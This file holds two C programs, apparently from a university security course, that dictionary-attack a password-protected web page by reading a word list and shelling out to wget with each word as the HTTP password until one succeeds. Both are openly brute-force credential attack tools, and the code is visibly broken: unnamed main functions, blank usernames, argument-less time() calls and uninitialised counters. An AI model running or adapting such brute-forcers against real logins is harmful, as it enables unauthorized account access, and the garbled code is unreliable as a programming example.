

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>

int ()
{
  int time1, time2, time_var;
  int timeinsec, nofattempts;
  char url[100], url1[80];
  strcpy(url, "wget --http-user= --http-passwd=");
  strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt");
  char word[15], *chk;
  chk = "word";
  FILE *fp;
  int syst = 1;
  fp = fopen("words", "r");
  time1 = time();
  while(chk != NULL)
  {
    chk = fgets(word, 15, fp);
    if (chk == NULL) exit(1);
    word [ strlen(word) - 1 ] = '\0';
    strcat(url, word);
    strcat(url, url1);
    if (strlen(word) == 3)
    {
      syst = system(url);
      nofattempts = nofattempts + 1;
      printf("\n %s %d\n",word,nofattempts);
    }
    if (syst == 0)
    {
       time2 = time();
       time_var = time2 - time1;
       timeinsec = time_var/1000000000;
       printf("\n The Password is: %s",word);
       printf("\n  of Attempts: %d\n",nofattempts);
       printf("\n Time Taken: %d seconds\n", timeinsec);
       exit(1);
    }
    strcpy(url, "");
    strcpy(url, "wget --http-user= --http-passwd=");
  }
}
